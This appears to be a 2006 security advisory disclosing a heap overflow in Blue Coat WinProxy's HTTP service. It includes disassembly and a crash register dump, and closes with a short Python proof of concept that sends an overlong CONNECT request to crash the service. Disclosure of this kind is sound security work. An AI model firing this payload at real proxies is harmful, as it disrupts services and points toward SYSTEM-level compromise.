Blue Coat Systems WinProxy Heap Overflow


Delivery:           Undisclosed

Severity:           High

Priviledge:         SYSTEM

Time line:          2006-01-21 Discovery

Auhor:              Christoph Diehl <posidron@xophdware.com>

Vendor:             http://download.winproxy.com/downloads/winproxy.exe




I. BACKGROUND

Blue Coat is the leading developer of secure Internet sharing solutions
for small to mid-sized networks and we do something very unique in our
industry.



II. DESCRIPTION

The HTTP service is vulnerable by sending a special crafted HTTP
request with an overlong CONNECT parameter. The buffer runs through
some sort of lower() function before the exception occurs.



III. DETAILS

(WinProxy.exe)
0062FD3B   mov     eax, dword ptr ss:[ebp+8]
0062FD3E   test    eax, eax
0062FD40   jnz     short WinProxy.0062FD45
0062FD42   push    1
0062FD44   pop     eax
0062FD45   add     eax, 0F
0062FD48   and     al, 0F0
0062FD4A   push    eax
0062FD4B   push    0
0062FD4D   push    dword ptr ds:[75F0E8]
0062FD53   call    dword ptr ds:[696368]         ; ntdll.RtlAllocateHeap

  (ntdll.dll)
  7C92142E   mov     edi, dword ptr ds:[ecx]     ; exception
  7C921430   cmp     edi, dword ptr ds:[eax+4]
  7C921433   jnz     ntdll.7C944380
  7C921439   cmp     edi, edx
  7C92143B   jnz     ntdll.7C944380
  7C921441   mov     dword ptr ds:[ecx], eax     ; must be reached
  7C921443   mov     dword ptr ds:[eax+4], ecx   ;


EAX 61616161
ECX 61616161
EDX 06A839D0 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaa<snip>"
EBX 00D00000
ESP 0659FB60
EBP 0659FD80
ESI 06A839C8
EDI 00000085
EIP 7C92142E ntdll.7C92142E

Access violation when reading 0x61616161



IV. PROOF OF CONCEPT

# -*- coding: ISO-8859-1 -*-
import socket

payload = "A"*1036

s = socket.socket()
s.connect(("127.0.0.1", 80))
print s.send("CONNECT"+" "+payload+" "+"HTTP/1.1\r\n\r\n")
print s.recv(255)
s.close()